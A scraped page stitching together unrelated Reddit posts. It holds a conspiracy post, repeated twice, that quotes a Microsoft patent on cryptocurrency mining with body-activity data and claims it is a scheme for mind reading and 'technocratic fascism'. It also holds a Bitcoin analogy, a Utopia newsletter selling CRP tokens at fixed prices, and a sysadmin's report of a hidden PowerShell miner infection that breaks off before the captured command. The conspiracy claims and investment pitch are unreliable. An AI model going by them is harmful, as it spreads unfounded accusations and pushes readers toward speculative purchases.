Free Bitcoin Mining Cloud Start BTC Mining With Bitcoin ...

Anyone still under the illusion of Microsoft having been transformed into a kinder, more mutually beneficial partner, please read this patent.

WO2020060606 - CRYPTOCURRENCY SYSTEM USING BODY ACTIVITY DATA
https://patentscope.wipo.int/search/en/detail.jsf?docId=WO2020060606&tab=PCTDESCRIPTION
Before reading the following excerpts, keep this sequence of events in mind:
Master Slave (and we're not referring to HDDs here)
Step one: patent technology
Step two: sell slave IoT devices to consumers who readily purchase them especially after being promised that they'll be rewarded in cryotocurrency for their data.
Step three: collect data via Azure on unsuspecting human subjects' fMRI, EEG, body temperatures, EKG, sleep data, digitized health care information, consumer purchasing habits, reading and viewing preferences, social media activity and correlate with activities performed (tasks).
Step four: Use data to refine AI to profile human behavior, predict behavior and refine mind reading capabilities.
This article is actually incorporated in the patent!
https://news.berkeley.edu/2011/09/22/brain-movies/ Scientists use brain imaging to reveal the movies in our mind
Step five: Institute centralized global cryptocurrency financial system with no other alternatives in which to transact legally.
https://www.reddit.com/Bitcoin/comments/4nag4b/1988_economist_cover_predicting_a_world_currency/
https://www.economist.com/finance-and-economics/1998/09/24/one-world-one-money
Step six: To understand step six, Read George Orwell's "1984" or review the concept of an individual's freedoms being based not on the concept of natural rights but on their social credit scores.
Thank you Microsoft, Google, Apple, Amazon, Facebook.
Now the patent excerpts:
CRYPTOCURRENCY SYSTEM USING BODY ACTIVITY DATA
BACKGROUND [0001] A virtual currency (also known as a digital currency) is a medium of exchange implemented through the Internet generally, not tied to a specific government-backed “flat” (printed) currency such as the U.S. dollar or the Euro, and typically designed to allow instantaneous transactions and borderless transfer of ownership. One example of virtual currency is cryptocurrency, wherein cryptography is used to secure transactions and to control the creation of new units. [0002] Several cryptocurrencies exist. Among these, the most well known is a blockchain-based cryptocurrency. Most blockchain-based cryptocurrency is decentralized in the sense that it has no central point of control.
However, blockchain-based cryptocurrency can also be implemented in a centralized system having a central point of control over the cryptocurrency.
Bitcoin is one of the examples of blockchain-based cryptocurrency. It is described in a 2008 article by Satoshi Nakamoto, named“Bitcoin: A peer-to-Peer Electronic Cash System”.
[0003] A blockchain is a data structure that stores a list of transactions and can be thought of as a distributed electronic ledger that records transactions between source identifier(s) and destination identifier(s). The transactions are bundled into blocks and every block (except for the first block) refers back to or is linked to a prior block in the blockchain. Computer resources (or nodes, etc.) maintain the blockchain and cryptographically validate each new block and the transactions contained in the corresponding block. This validation process includes computationally solving a difficult problem that is also easy to verify and is sometimes called a“proof-of-work”. This process is referred to as“mining”. The mining may be a random process with low probability so that a lot of trial and error is required to solve a computationally difficult problem. Accordingly, the mining may require enormous amounts of computational energy. [0004] It is with respect to these and other general considerations that the following embodiments have been described. Also, although relatively specific problems have been discussed, it should be understood that the embodiments should not be limited to solving the specific problems identified in the background.
SUMMARY
[0005] Some exemplary embodiments of the present disclosure may use human body activity associated with a task provided to a user as a solution to“mining” challenges in cryptocurrency systems. For example, a brain wave or body heat emitted from the user when the user performs the task provided by an information or service provider, such as viewing advertisement or using certain internet services, can be used in the mining process. Instead of massive computation work required by some conventional cryptocurrency systems, data generated based on the body activity of the user can be a proof-of-work, and therefore, a user can solve the computationally difficult problem unconsciously. Accordingly, certain exemplary embodiments of the present disclosure may reduce computational energy for the mining process as well as make the mining process faster.
[0006] Systems, methods, and hardware aspects of computer readable storage media are provided herein for a cryptocurrency system using human body activity data. According to various embodiments of the present disclosure, a server may provide a task to a device of a user which is communicatively coupled to the server. A sensor communicatively coupled to or comprised in the device of the user may sense body activity of the user. Body activity data may be generated based on the sensed body activity of the user. A cryptocurrency system communicatively coupled to the device of the user may verify whether or not the body activity data satisfies one or more conditions set by the cryptocurrency system, and award cryptocurrency to the user whose body activity data is verified.
[0007] Examples are implemented as a computer process, a computing system, or as an article of manufacture such as a device, computer program product, or computer readable medium. According to one aspect, the computer program product is a computer storage medium readable by a computer system and encoding a computer program comprising instructions for executing a computer process. [0008] This summary is provided to introduce a selection of concepts in a simplified form that are further described below in the Detailed Description. This summary is not intended to identify key features or essential features of the claimed subject matter, nor is it intended to be used to limit the scope of the claimed subject matter.
decentralized cryptocurrency networks or databases.
[0021] FIG. 1 illustrates an example environment 100 in which some exemplary embodiments of the present disclosure may be practiced. The example environment 100 includes, but is not limited to, at least one of task server 110, communication network 120, user device 130, sensor 140, and cryptocurrency system 150. [0022] Task server 110 may provide one or more tasks to user device 130 over communication network 120. For example, task server 110 may be at least one of a web server delivering or serving up web pages, an application server handling application operations between users and applications or databases, a cloud server, a database server, a file server, a service server, a game server implementing games or services for a game, and a media server delivering media such as streaming video or audio. The tasks provided by task server 110 will be discussed in more detail below.
[0023] Alternatively, cryptocurrency system 150 may provide one or more tasks to user device 130. For example, in a decentralized cryptocurrency network, the tasks may be proposed to user device 130 by miners (e.g. compute resources or nodes 210 of FIG. 2). In another example, in a centralized cryptocurrency system, a cryptocurrency server may send the tasks to user device 130.
[0024] Communication network 120 may include any wired or wireless connection, the internet, or any other form of communication. Although one network 120 is identified in FIG. 1, communication network 120 may include any number of different communication networks between any of the server, devices, resource and system shown in FIGS. 1 and 2 and/or other servers, devices, resources and systems described herein. Communication network 120 may enable communication between various computing resources or devices, servers, and systems. Various implementations of communication network 120 may employ different types of networks, for example, but not limited to, computer networks, telecommunications networks (e.g., cellular), mobile wireless data networks, and any combination of these and/or other networks. [0025] User device 130 may include any device capable of processing and storing data/information and communicating over communication network 120. For example, user device 130 may include personal computers, servers, cell phones, tablets, laptops, smart devices (e.g. smart watches or smart televisions). An exemplary embodiment of user device 130 is illustrated in FIG. 6.
[0026] Sensor 140 may be configured to sense the body activity of user 145. As illustrated in FIG. 1, sensor 140 may be a separate component from user device 130 and be operably and/or communicatively connected to user device 130. Alternatively, sensor 140 may be included and integrated in user device 130. For example, user device 130 may be a wearable device having sensor 140 therein. The sensor 140 may transmit information/data to user device 130. Sensor 140 may include, for example, but not limited to, functional magnetic resonance imaging (fMRI) scanners or sensors, electroencephalography (EEG) sensors, near infrared spectroscopy (NIRS) sensors, heart rate monitors, thermal sensors, optical sensors, radio frequency (RF) sensors, ultrasonic sensors, cameras, or any other sensor or scanner that can measure or sense body activity or scan human body. For instance, the fMRI may measure body activity by detecting changes associated with blood flow. The fMRI may use a magnetic field and radio waves to create detailed images of the body (e.g. blood flow in the brain to detect areas of activity). The material (http://news.berkely.edu/20l l/09/22/brain-movies/) shows one example of how the fMRI can measure brain activity associated with visual information and generate image data.
[0027] Cryptocurrency system 150 may include one or more processors for processing commands and one or more memories storing information in one or more cryptocurrency data structures. In some embodiments, cryptocurrency system 150 may be a centralized cryptocurrency system or network, for example, but not limited to, a server which may be privately run by a third party entity or the same entity that is running the task server 110. In other embodiments, cryptocurrency system 150 may be a publically accessible network system (e.g., a distributed decentralized computing system).
https://news.berkeley.edu/2011/09/22/brain-movies/ Scientists use brain imaging to reveal the movies in our mind
WO2020060606 - CRYPTOCURRENCY SYSTEM USING BODY ACTIVITY DATA
https://patentscope.wipo.int/search/en/detail.jsf?docId=WO2020060606&tab=PCTDESCRIPTION
Applicants * MICROSOFT TECHNOLOGY LICENSING, LLC[US/US]; One Microsoft Way Redmond, Washington 98052-6399, US
CRYPTOCURRENCY SYSTEM USING BODY ACTIVITY DATA
BACKGROUND [0001] A virtual currency (also known as a digital currency) is a medium of exchange implemented through the Internet generally, not tied to a specific government-backed “flat” (printed) currency such as the U.S. dollar or the Euro, and typically designed to allow instantaneous transactions and borderless transfer of ownership. One example of virtual currency is cryptocurrency, wherein cryptography is used to secure transactions and to control the creation of new units. [0002] Several cryptocurrencies exist. Among these, the most well known is a blockchain-based cryptocurrency. Most blockchain-based cryptocurrency is decentralized in the sense that it has no central point of control.
However, blockchain-based cryptocurrency can also be implemented in a centralized system having a central point of control over the cryptocurrency.
Bitcoin is one of the examples of blockchain-based cryptocurrency. It is described in a 2008 article by Satoshi Nakamoto, named“Bitcoin: A peer-to-Peer Electronic Cash System”.
[0003] A blockchain is a data structure that stores a list of transactions and can be thought of as a distributed electronic ledger that records transactions between source identifier(s) and destination identifier(s). The transactions are bundled into blocks and every block (except for the first block) refers back to or is linked to a prior block in the blockchain. Computer resources (or nodes, etc.) maintain the blockchain and cryptographically validate each new block and the transactions contained in the corresponding block. This validation process includes computationally solving a difficult problem that is also easy to verify and is sometimes called a“proof-of-work”. This process is referred to as“mining”. The mining may be a random process with low probability so that a lot of trial and error is required to solve a computationally difficult problem. Accordingly, the mining may require enormous amounts of computational energy.
[0004] It is with respect to these and other general considerations that the following embodiments have been described. Also, although relatively specific problems have been discussed, it should be understood that the embodiments should not be limited to solving the specific problems identified in the background.
SUMMARY
[0005] Some exemplary embodiments of the present disclosure may use human body activity associated with a task provided to a user as a solution to“mining” challenges in cryptocurrency systems. For example, a brain wave or body heat emitted from the user when the user performs the task provided by an information or service provider, such as viewing advertisement or using certain internet services, can be used in the mining process. Instead of massive computation work required by some conventional cryptocurrency systems, data generated based on the body activity of the user can be a proof-of-work, and therefore, a user can solve the computationally difficult problem unconsciously. Accordingly, certain exemplary embodiments of the present disclosure may reduce computational energy for the mining process as well as make the mining process faster.
[0006] Systems, methods, and hardware aspects of computer readable storage media are provided herein for a cryptocurrency system using human body activity data. According to various embodiments of the present disclosure, a server may provide a task to a device of a user which is communicatively coupled to the server. A sensor communicatively coupled to or comprised in the device of the user may sense body activity of the user. Body activity data may be generated based on the sensed body activity of the user. A cryptocurrency system communicatively coupled to the device of the user may verify whether or not the body activity data satisfies one or more conditions set by the cryptocurrency system, and award cryptocurrency to the user whose body activity data is verified.
[0007] Examples are implemented as a computer process, a computing system, or as an article of manufacture such as a device, computer program product, or computer readable medium. According to one aspect, the computer program product is a computer storage medium readable by a computer system and encoding a computer program comprising instructions for executing a computer process.
[0008] This summary is provided to introduce a selection of concepts in a simplified form that are further described below in the Detailed Description. This summary is not intended to identify key features or essential features of the claimed subject matter, nor is it intended to be used to limit the scope of the claimed subject matter.
decentralized cryptocurrency networks or databases. [0021] FIG. 1 illustrates an example environment 100 in which some exemplary embodiments of the present disclosure may be practiced. The example environment 100 includes, but is not limited to, at least one of task server 110, communication network 120, user device 130, sensor 140, and cryptocurrency system 150.
[0022] Task server 110 may provide one or more tasks to user device 130 over communication network 120. For example, task server 110 may be at least one of a web server delivering or serving up web pages, an application server handling application operations between users and applications or databases, a cloud server, a database server, a file server, a service server, a game server implementing games or services for a game, and a media server delivering media such as streaming video or audio. The tasks provided by task server 110 will be discussed in more detail below.
[0023] Alternatively, cryptocurrency system 150 may provide one or more tasks to user device 130. For example, in a decentralized cryptocurrency network, the tasks may be proposed to user device 130 by miners (e.g. compute resources or nodes 210 of FIG. 2). In another example, in a centralized cryptocurrency system, a cryptocurrency server may send the tasks to user device 130.
[0024] Communication network 120 may include any wired or wireless connection, the internet, or any other form of communication. Although one network 120 is identified in FIG. 1, communication network 120 may include any number of different communication networks between any of the server, devices, resource and system shown in FIGS. 1 and 2 and/or other servers, devices, resources and systems described herein. Communication network 120 may enable communication between various computing resources or devices, servers, and systems. Various implementations of communication network 120 may employ different types of networks, for example, but not limited to, computer networks, telecommunications networks (e.g., cellular), mobile wireless data networks, and any combination of these and/or other networks.
[0025] User device 130 may include any device capable of processing and storing data/information and communicating over communication network 120. For example, user device 130 may include personal computers, servers, cell phones, tablets, laptops, smart devices (e.g. smart watches or smart televisions).
An exemplary embodiment of user device 130 is illustrated in FIG. 6.
[0026] Sensor 140 may be configured to sense the body activity of user 145. As illustrated in FIG. 1, sensor 140 may be a separate component from user device 130 and be operably and/or communicatively connected to user device 130. Alternatively, sensor 140 may be included and integrated in user device 130. For example, user device 130 may be a wearable device having sensor 140 therein. The sensor 140 may transmit information/data to user device 130. Sensor 140 may include, for example, but not limited to, functional magnetic resonance imaging (fMRI) scanners or sensors, electroencephalography (EEG) sensors, near infrared spectroscopy (NIRS) sensors, heart rate monitors, thermal sensors, optical sensors, radio frequency (RF) sensors, ultrasonic sensors, cameras, or any other sensor or scanner that can measure or sense body activity or scan human body. For instance, the fMRI may measure body activity by detecting changes associated with blood flow. The fMRI may use a magnetic field and radio waves to create detailed images of the body (e.g. blood flow in the brain to detect areas of activity). The material (http://news.berkely.edu/20l l/09/22/brain-movies/) shows one example of how the fMRI can measure brain activity associated with visual information and generate image data.
[0027] Cryptocurrency system 150 may include one or more processors for processing commands and one or more memories storing information in one or more cryptocurrency data structures. In some embodiments, cryptocurrency system 150 may be a centralized cryptocurrency system or network, for example, but not limited to, a server which may be privately run by a third party entity or the same entity that is running the task server 110. In other embodiments, cryptocurrency system 150 may be a publically accessible network system (e.g., a distributed decentralized computing system).
https://news.berkeley.edu/2011/09/22/brain-movies/ Scientists use brain imaging to reveal the movies in our mind
submitted by snowboardnirvana to MVIS [link] [comments]

My Attempt at an Analogy. Feedback would be greatly appreciated.

So, what even is Bitcoin? Bitcoin (shortened as BTC) is like a book. Transactions, the transfer of Bitcoin from one address to another are the lines in the book. Each page from the book can hold thousands of lines. Anyone can hold a copy of the book, and thousands of people do so already and are called nodes. Transactions do not become valid until a page with them is added to the book.
How do you add pages, or blocks, to the book? Once a page gets filled with lines, a special number is generated that depends on the transactions and the special number from the last page through an algorithm. Every line in the new page is broadcasted to everyone who wants to contribute to the making of the book. Those people are called miners. In order to add a page to the book, you have to find the special number. When you find that special number, it is verified by the nodes. The only way to try and find this special number is to simply guess and then check. The algorithm also takes into account how fast the computers can find this special number and changes its difficulty so that a page is added about every 10 minutes. The lucky miner who finds the correct special number gets a reward in the form of Bitcoin. The chance of you adding to the book depends on how powerful your computer is. Basically, everyone is guessing numbers as fast as they can until someone gets lucky. The guessing and checking is done on some form of a computer, so this reward incentivizes the book contributors to keep mining by typically covering their electrical costs.
After every chapter of the book is finished, the block reward, or the reward that comes from adding a page to the book, is halved. A new chapter is made every 210,000 pages, or about every four years. With the creation of bitcoin in 2008, this block reward used to be 50 BTC. Now, it is 6.25 BTC. These block rewards are the only way that new Bitcoin is put into circulation. When you perform a guess and check operation, you currently have a 1 in 15 trillion of a chance to guess correctly. It’s no longer profitable for everyday people like you and me to mine Bitcoin. Don’t worry. There are still plenty of other currencies to mine such as Ethereum or Ravencoin.
Cryptocurrencies offer several advantages over conventional money. First, they diversify your portfolio. Governments tend to just print money when it is needed, often neglecting the risks of doing so and greatly impacting the economy. In Venezuela, CNBC reported that the overall inflation rate has recently reached over 10 million percent. We tend to think that our governments are stable, which is why we trust the dollar. But what happens if the government suddenly collapses, or loses its grip on reality? All those dollars would be completely useless. This is where the promise of cryptocurrencies such as Bitcoin come in. By their very nature, they are decentralized which makes them immune to government manipulation. Second, Bitcoin has a finite supply; you can’t just make more Bitcoins when it reaches 21 million bitcoins because of halving the block reward. Third, the blockchain, or the book, is always available to the public. This makes Bitcoin an anonymous yet transparent network in the sense that anyone can see the transactions, but cannot actually link the addresses to anyone’s identity. Thousands of nodes have a copy of the book, and since new nodes depend on previous nodes, it is resistant to hacking.
Another pro, or a con, depending on who you ask, is that Bitcoins can have any price, but no real value, since they aren’t backed by any physical asset. They are extremely volatile. A problem with Bitcoin is that it is slow at handling transactions, about 7 transactions/sec compared to a maximum of 24,000 for VISA. Another problem with Bitcoin is that it uses a lot of power, we’re talking as much as the eBay, Facebook, and Google servers combined. Since Bitcoin was the first cryptocurrency, newer ones address these problems. Cryptocurrencies can bring more transparency and accountability to the world. That is, if they are designed well. The founder of bitcoin, Satoshi Nakamoto once said, “If you don’t believe it or don’t get it, I don’t have the time to try to convince you, sorry.”
submitted by nikolaiteslovich to Bitcoin [link] [comments]

Microsoft patents scheme to usher in technocratic fascism via data from IoT sensor devices and centralized cryptocurrency system

WO2020060606 - CRYPTOCURRENCY SYSTEM USING BODY ACTIVITY DATA
https://patentscope.wipo.int/search/en/detail.jsf?docId=WO2020060606&tab=PCTDESCRIPTION
Before reading the following excerpts, keep this sequence of events in mind:
Master Slave (and we're not referring to HDDs here)
Step one: patent technology
Step two: sell slave IoT devices to consumers who readily purchase them especially after being promised that they'll be rewarded in cryotocurrency for their data.
Step three: collect data via Microsoft Azure on unsuspecting human subjects' fMRI, EEG, body temperatures, EKG, sleep data, digitized health care information, consumer purchasing habits, reading and viewing preferences, social media activity and correlate with activities performed (tasks).
Step four: Use data to refine AI to profile human behavior, predict behavior and refine mind reading capabilities.
This article is actually incorporated in the patent!
https://news.berkeley.edu/2011/09/22/brain-movies/ Scientists use brain imaging to reveal the movies in our mind
Step five: Institute centralized global cryptocurrency financial system with no other alternatives in which to transact legally.
https://www.reddit.com/Bitcoin/comments/4nag4b/1988_economist_cover_predicting_a_world_currency/
https://www.economist.com/finance-and-economics/1998/09/24/one-world-one-money
Step six: To understand step six, read George Orwell's "1984" or review the concept of an individual's freedoms being based not on the concept of natural rights but on their social credit scores.
Thank you Microsoft, Google, Apple, Amazon, Facebook.
Now the patent excerpts:
CRYPTOCURRENCY SYSTEM USING BODY ACTIVITY DATA BACKGROUND [0001] A virtual currency (also known as a digital currency) is a medium of exchange implemented through the Internet generally, not tied to a specific government-backed “flat” (printed) currency such as the U.S. dollar or the Euro, and typically designed to allow instantaneous transactions and borderless transfer of ownership. One example of virtual currency is cryptocurrency, wherein cryptography is used to secure transactions and to control the creation of new units. [0002] Several cryptocurrencies exist. Among these, the most well known is a blockchain-based cryptocurrency. Most blockchain-based cryptocurrency is decentralized in the sense that it has no central point of control.
However, blockchain-based cryptocurrency can also be implemented in a centralized system having a central point of control over the cryptocurrency.
Bitcoin is one of the examples of blockchain-based cryptocurrency. It is described in a 2008 article by Satoshi Nakamoto, named“Bitcoin: A peer-to-Peer Electronic Cash System”.
[0003] A blockchain is a data structure that stores a list of transactions and can be thought of as a distributed electronic ledger that records transactions between source identifier(s) and destination identifier(s). The transactions are bundled into blocks and every block (except for the first block) refers back to or is linked to a prior block in the blockchain. Computer resources (or nodes, etc.) maintain the blockchain and cryptographically validate each new block and the transactions contained in the corresponding block. This validation process includes computationally solving a difficult problem that is also easy to verify and is sometimes called a“proof-of-work”. This process is referred to as“mining”. The mining may be a random process with low probability so that a lot of trial and error is required to solve a computationally difficult problem. Accordingly, the mining may require enormous amounts of computational energy.
[0004] It is with respect to these and other general considerations that the following embodiments have been described. Also, although relatively specific problems have been discussed, it should be understood that the embodiments should not be limited to solving the specific problems identified in the background.
SUMMARY
[0005] Some exemplary embodiments of the present disclosure may use human body activity associated with a task provided to a user as a solution to“mining” challenges in cryptocurrency systems.
For example, a brain wave or body heat emitted from the user when the user performs the task provided by an information or service provider, such as viewing advertisement or using certain internet services, can be used in the mining process. Instead of massive computation work required by some conventional cryptocurrency systems, data generated based on the body activity of the user can be a proof-of-work, and therefore, a user can solve the computationally difficult problem unconsciously. Accordingly, certain exemplary embodiments of the present disclosure may reduce computational energy for the mining process as well as make the mining process faster.
[0006] Systems, methods, and hardware aspects of computer readable storage media are provided herein for a cryptocurrency system using human body activity data. According to various embodiments of the present disclosure, a server may provide a task to a device of a user which is communicatively coupled to the server. A sensor communicatively coupled to or comprised in the device of the user may sense body activity of the user. Body activity data may be generated based on the sensed body activity of the user. A cryptocurrency system communicatively coupled to the device of the user may verify whether or not the body activity data satisfies one or more conditions set by the cryptocurrency system, and award cryptocurrency to the user whose body activity data is verified.
[0007] Examples are implemented as a computer process, a computing system, or as an article of manufacture such as a device, computer program product, or computer readable medium. According to one aspect, the computer program product is a computer storage medium readable by a computer system and encoding a computer program comprising instructions for executing a computer process.
[0008] This summary is provided to introduce a selection of concepts in a simplified form that are further described below in the Detailed Description. This summary is not intended to identify key features or essential features of the claimed subject matter, nor is it intended to be used to limit the scope of the claimed subject matter. decentralized cryptocurrency networks or databases.
[0021] FIG. 1 illustrates an example environment 100 in which some exemplary embodiments of the present disclosure may be practiced. The example environment 100 includes, but is not limited to, at least one of task server 110, communication network 120, user device 130, sensor 140, and cryptocurrency system 150.
[0022] Task server 110 may provide one or more tasks to user device 130 over communication network 120. For example, task server 110 may be at least one of a web server delivering or serving up web pages, an application server handling application operations between users and applications or databases, a cloud server, a database server, a file server, a service server, a game server implementing games or services for a game, and a media server delivering media such as streaming video or audio. The tasks provided by task server 110 will be discussed in more detail below.
[0023] Alternatively, cryptocurrency system 150 may provide one or more tasks to user device 130. For example, in a decentralized cryptocurrency network, the tasks may be proposed to user device 130 by miners (e.g. compute resources or nodes 210 of FIG. 2). In another example, in a centralized cryptocurrency system, a cryptocurrency server may send the tasks to user device 130.
[0024] Communication network 120 may include any wired or wireless connection, the internet, or any other form of communication. Although one network 120 is identified in FIG. 1, communication network 120 may include any number of different communication networks between any of the server, devices, resource and system shown in FIGS. 1 and 2 and/or other servers, devices, resources and systems described herein. Communication network 120 may enable communication between various computing resources or devices, servers, and systems. Various implementations of communication network 120 may employ different types of networks, for example, but not limited to, computer networks, telecommunications networks (e.g., cellular), mobile wireless data networks, and any combination of these and/or other networks. [0025] User device 130 may include any device capable of processing and storing data/information and communicating over communication network 120. For example, user device 130 may include personal computers, servers, cell phones, tablets, laptops, smart devices (e.g. smart watches or smart televisions). An exemplary embodiment of user device 130 is illustrated in FIG. 6.
[0026] Sensor 140 may be configured to sense the body activity of user 145. As illustrated in FIG. 1, sensor 140 may be a separate component from user device 130 and be operably and/or communicatively connected to user device 130. Alternatively, sensor 140 may be included and integrated in user device 130. For example, user device 130 may be a wearable device having sensor 140 therein. The sensor 140 may transmit information/data to user device 130. Sensor 140 may include, for example, but not limited to, functional magnetic resonance imaging (fMRI) scanners or sensors, electroencephalography (EEG) sensors, near infrared spectroscopy (NIRS) sensors, heart rate monitors, thermal sensors, optical sensors, radio frequency (RF) sensors, ultrasonic sensors, cameras, or any other sensor or scanner that can measure or sense body activity or scan human body. For instance, the fMRI may measure body activity by detecting changes associated with blood flow. The fMRI may use a magnetic field and radio waves to create detailed images of the body (e.g. blood flow in the brain to detect areas of activity).
The material (http://news.berkely.edu/20ll/09/22/brain-movies/) shows one example of how the fMRI can measure brain activity associated with visual information and generate image data.
[0027] Cryptocurrency system 150 may include one or more processors for processing commands and one or more memories storing information in one or more cryptocurrency data structures. In some embodiments, cryptocurrency system 150 may be a centralized cryptocurrency system or network, for example, but not limited to, a server which may be privately run by a third party entity or the same entity that is running the task server 110. In other embodiments, cryptocurrency system 150 may be a publically accessible network system (e.g., a distributed decentralized computing system).
https://news.berkeley.edu/2011/09/22/brain-movies/ Scientists use brain imaging to reveal the movies in our mind
submitted by snowboardnirvana to conspiracy [link] [comments]

TheMessage Edition 007

1 – Quote of the Week & Utopia Trivia

“Bitcoin is the currency of resistance.”
Utopia Trivia – What was the Genesis Block’s Reward Per Thread?
Look for the answers somewhere in this edition of TheMessage.

2 – A Deeper Look Inside The Rabbit Hole of Utopia – PART IV

In Part III we reviewed the meteoric rise and fall of Napster, followed by the birth of a truly Peer-to-Peer content sharing platform in the form of the BitTorrent protocol. We discussed how revolutionary a technology BitTorrent was and how integral to the Internet it has become. Now in Part IV, we will discuss what happens when the profoundly democratizing and resilient power of Peer-to-Peer technology is brought to bear on money itself.
On October 31st 2008, the Bitcoin white paper is published and on January 3 2009, Bitcoin’s Genesis Block is mined. Previously, the idea of digital money could not be realized in a direct, trustless fashion, because there always existed the problem of multiple spending. A trusted, third party database was always necessary and that handicap held back the potential of digital money for many years. Satoshi Nakamoto proposed an elegant solution; through cryptography, a Peer-to-Peer network could maintain the integrity of the record and allow participants to transfer value between each other without having to trust any third party. The simple but profound act of one human being directly handing another human being something of unique value was now finally enabled online through the internet. The social, economic and political implications of this technological breakthrough are still be felt to this day.
To understand how consequential a breakthrough Bitcoin was, you would need to appreciate how important a role money and its control plays in the lives of human beings. Most people today are born into societies where they have little choice in the matters of money. Decisions made by others many years ago affect their day to day lives in ways most do not understand. Human history is littered with examples of those in privileged positions abusing the power to create and regulate money to the detriment of the masses. Just as the power of communication and content sharing was placed in the hands of the people through Peer-to-Peer technology and the internet, now money itself was placed in the hands of the people through the P2P technology of Bitcoin. To participate in Bitcoin was itself a kind of defiant act against the existing power structures, a form of resistance–“Bitcoin is the currency of resistance.” Max Keiser, a broadcaster, film maker and Bitcoin proponent is quoted as saying.
The modern history of the internet has taught us that with every advancement and empowering step forward for humanity, vested corporate and government interests seek to extend their domain of influence by exerting power and control in lock-step with those advancements and Bitcoin is no exception. The only solution to diminish this negative influence, projected via surveillance and its coercive power, has been the equalizing power of cryptography and the democratizing power of P2P technology. What if advancements in these two fields could be brought to bear on a new kind of internet? An internet where surveillance and censorship were absent? An internet where communication, content and money could all flow in complete security and privacy? That will be the subject of Part V, our final segment in this series of articles; the revolution of Utopia.

3 – Mining Rewards Adjustment on Block #8843

Background
On the day of Utopia’s mainnet launch, November 18th 2019, the mining Reward Per Thread (and so the Genesis Block’s RPT) was set at 0.0128 CRP. It stayed set at a maximum of 0.0128 for approximately 3-4 weeks as the total thread count ballooned to over 30,000 and only marginally declined after 15,000 threads since the Total Reward Generated (TRG) was capped at 192 CRP per 15 minutes Block. It was because of the miner abuse associated with those initial weeks that a major update was released in mid-December mandating a bot be run on a system with a minimum specification of 4 CPUs and 4GB of RAM along with a Public IP. Once that new requirement was put in place, thread count collapsed from over 30,000 to less than 1,000. Within days, the team doubled the mining RPT to 0.0256 CRP in order to better incentivize users to operate bots on enhanced servers and support the network. Unfortunately version 1.0.5499 had serious issues with reward rate for miners and for 7 weeks users endured through inconsistent rewards until the much celebrated major update was finally released on Febraury 4th 2020. Major update version 1.0.5665 and minor update 5672 witnessed the thread count climb consistently from less than 1,000 threads to over 9,000 threads over the next 2 weeks. However, at 7,500 threads, when a number of users, this publisher included, expected to see a similar marginal decline in RPT as before, none was observed. The TRG number was apparently no longer capped at 192 as it previously had been, and the TRG saw its figure climb to as high as 230 CRP (equivalent to over 22,000 CRP per day) before the hammer came down.
Utopia Monetary Policy
At this point, it’s worth reviewing the 1984 Group’s purported monetary policy for Crypton and Utopia. In their own words:
“Multi-faceted and highly-professional approach to liquidity support and stable market rate of Crypton is well-organized with 3 main levers:
All of three adjustable settings listed above are currently controlled by Utopia development team but after implementation of decentralized referendum, self-governance and voting systems the full control of adjustable settings will be transferred to society.”
The Hammer of Block #8843, RPT vs TRG
On Block #8843 the team reduced the RPT from 0.0256 to 0.0096, a contraction of 62.5%, or a factor of 2.67. This happened on February 19th midday UTC time. According to a message sent by the team, “This measure is necessary for optimal total balance of mined Cryptons and for efficient CRP value support in current market conditions.”. Based on the team’s explanation, they did this in order to control the trajectory of total CRP in circulation (“optimal total balance of mined Cryptons”) as well as to provide support to the value of CRP in the market, (“efficient CRP value support in current market conditions”). Why they chose to exercise control at the RPT level rather than the TRG level is the most fascinating question to consider. Capping the TRG has the additional effect of marginally disincentivizing new threads, whereas reducing the RPT doesn’t have that negative marginal effect, it simply makes each thread less productive. While both would have a similar monetary or economic net effect, they provide different incentives to miners. By reducing RPT, miners are incentivized to find more cost-effective servers in the long run, while the addition of new threads continues to be incentivized in a similar fashion. Therefore, we can conclude that the team wants to see the thread count continue to multiply, but did not want to compromise the inflation of CRP to accomplish this. Furthermore, because the reward rate of mining bots is already relatively high, it can be concluded that the RPT is unlikely to ever see an increase again.

4 – Updated CRP Price Structure at TheMarket

With the cost of mining CRP having increased by a factor of 2.67, TheMerchant is updating the price structure at TheMarket in order to better accommodate potential investors with different price sensitivities.
The Normal high-volume selling price will now be $2.50/CRP. This will be the default price around the clock when not in the 14:00 to 22:00 UTC time slot on Saturdays.
The Once-Per-Week high volume selling price will now be $2.00/CRP. This will be every Saturday except the final Saturday of the month, from 14:00 UTC to 22:00 UTC. (February 22, March 7, 14, 21, etc.)
The Once-Per-Month high volume selling price will now be $1.50/CRP. This will be on the final Saturday of the month, from 14:00 UTC to 22:00 UTC. February 29, March 28, April 25 etc.)
The reason for this price structure is that until a low-friction, high-volume exchange is established, there needs to be a reliable and predictable way to meet the needs of potential investors at different price points. Some investors have a long enough investment horizon that buying at $2.50 or $2.00 or $1.50 is not as important as being able to accumulate as much CRP as possible from a trusted source before the supply is exhausted. This investor would be considered more time-sensitive and less price-sensitive and more likely to acquire TheMerchant’s supply before others. Whereas other investors may have a shorter investment horizon and patiently waiting until the end of the week on Saturday, or quite possibly even until the end of the month on the final Saturday is more appealing to them, even at the risk of the supply having been reduced to completely exhausted, because they are more price-sensitive. In all cases, buy orders will be prioritized on a first-come, first-served basis.

5 – Personal Note from The Publisher

Here’s where to find the “Rabbit Hole” that is Utopia for those who may be reading on the surveillance landscape of the clearnet: https://u.is
TheMerchant Public Key: 0093DEFD354D78D4F035CF04A935DD211A9765B8779C68D30A9DA0B3EB06554F
Request contact authorization from TheMerchant to receive uMail versions of TheMessage and to purchase CRP, the future of private P2P commerce.
TheMarket Channel ID: E95109799EC5047783C867F6AF6D4568
Utopia’s leading forum for the exchange of both CRP and uNS records. Zero-Profit Escrow Service is available from TheMerchant to help establish trust.
TheMessage Channel ID: BE91B84B9565C8429D214EBB10753E83
The first weekly publication on all things Utopia. Subscribe to TheMessage and get connected.
TheMegaphone Channel ID: 3277D61A3CF7BAEE951C0C6607532FB8
TheMerchant’s ECHO feed; his personal and uncensored voice, amplified and protected by Utopia. Turn on TheMegaphone!
submitted by Hackology_co to Utopia1984 [link] [comments]

Deciphering Cmd command

Quick recap: SEP/EDR Sonar is flagging malicious script on a 2008 Server. Powershell is base64 encoded and runs in the background and bypasses execution policy. decoded part tries to kill xmrig a bitcoin miner among other things. I can't find where the script is running from. SEP, Malwarebytes, PowerEraser, Symdiag all comeback with nothing.
I am in the process of rolling back/rebuilding the server but I really want to solve this puzzle. I noticed msiexec is using 63% cpu fairly consistently. Looking more into it, its running out of C:\Windows\Panther and has the same sha256 as powershell. Submitted it to VT and Hybrid-Analysis, both say its powershell. Hybrid had a few suspicious findings but it still had a low score.
I did a dump of the running msiexec process and found the following command:
